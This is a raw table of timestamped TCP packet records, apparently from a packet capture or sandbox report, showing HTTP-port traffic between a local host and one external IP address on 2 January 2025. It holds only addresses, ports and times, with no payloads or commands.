Jan 2, 2025 19:14:16.690320969 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690329075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690349102 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690375090 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.690391064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690419912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690426111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690437078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.690766096 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.692189932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692203999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692210913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692217112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692223072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692231894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692235947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692292929 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.692352057 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.692545891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692553043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692569017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692574024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692586899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692591906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692599058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692612886 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.692704916 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.692795038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692800999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692814112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692820072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692845106 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.692848921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692857027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692863941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.692895889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.692895889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693434000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693449974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693454027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693481922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693487883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693511009 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693528891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693535089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693540096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693562031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693563938 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693568945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693572998 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693574905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693618059 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693660975 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693662882 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693666935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693674088 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693680048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693686008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693697929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693727016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693727016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693802118 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693847895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693852901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693864107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693871021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693876028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693888903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693907976 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693934917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693938971 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693941116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693958998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693963051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.693969965 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.693980932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.694001913 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.694005966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.694013119 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.694020987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.694032907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.694039106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.694057941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.694067955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.694067955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.694073915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.694124937 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.694166899 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.703458071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703495026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703507900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703524113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703530073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703536034 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.703536987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703543901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703552961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703598022 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.703598022 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.703721046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703726053 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703737020 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703744888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703752041 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703778982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703833103 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.703833103 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.703843117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703847885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703854084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.703892946 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705142975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705148935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705162048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705167055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705173969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705178976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705189943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705200911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705207109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705207109 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705254078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705274105 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705274105 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705291986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705296993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705312014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705328941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705329895 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705380917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705384970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705384970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705388069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705399990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705459118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705491066 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705523968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705528975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705540895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705547094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705553055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705579042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705585003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705615997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705617905 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705617905 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705621958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705629110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705661058 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705705881 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705730915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705745935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705751896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705857992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705863953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705877066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705881119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705892086 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705893040 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.705897093 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.705936909 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706001997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706008911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706013918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706021070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706026077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706032038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706046104 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706058979 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706110001 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706185102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706191063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706203938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706209898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706216097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706243992 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706321955 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706326008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706334114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706341028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706346989 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706352949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706371069 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706449986 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706549883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706557035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706568956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706574917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706579924 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706590891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706598043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706604004 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706604958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706655979 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706655979 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706682920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706732988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706738949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706763029 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706816912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706823111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706835985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706840992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706859112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706897974 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706913948 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.706949949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706955910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706968069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.706974030 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707051992 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.707056046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707062006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707072973 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707092047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707128048 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.707200050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707205057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707216978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707230091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707236052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707243919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707247972 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707250118 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.707254887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707262039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.707310915 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.707310915 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.709888935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.709896088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.709908009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.709913969 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.709954977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.709973097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.709979057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.709984064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.709988117 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.709988117 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.709990025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710007906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710015059 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710026026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710031033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710036993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710040092 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.710068941 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.710068941 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.710124016 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.710160017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710164070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710175991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710222006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710227966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710232973 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710246086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710248947 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.710252047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.710282087 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.710330009 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.714109898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714117050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714128017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714185953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714191914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714202881 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714207888 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.714207888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714215040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714221001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714234114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.714288950 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.714297056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714303017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714309931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714320898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714337111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714351892 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.714365959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.714405060 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.717474937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717479944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717490911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717498064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717502117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717525005 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717567921 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.717586040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717592955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717592955 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.717605114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717670918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717677116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717689037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717710018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717715979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717727900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717744112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.717744112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.717744112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.717768908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717776060 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.717817068 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.717868090 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.718072891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.718079090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.718091965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.718096972 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.718108892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.718122005 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.718130112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.718132019 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.718139887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.718172073 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.718233109 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.733450890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.733458042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.733464956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.733470917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.733478069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.733483076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.733494997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.733501911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.733520985 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.733599901 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.734271049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734323025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734323978 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.734330893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734342098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734349966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734354973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734366894 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734374046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734375000 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.734450102 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.734534025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734539986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734548092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734601974 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734605074 CET	49726	80	192.168.2.6	147.45.44.131
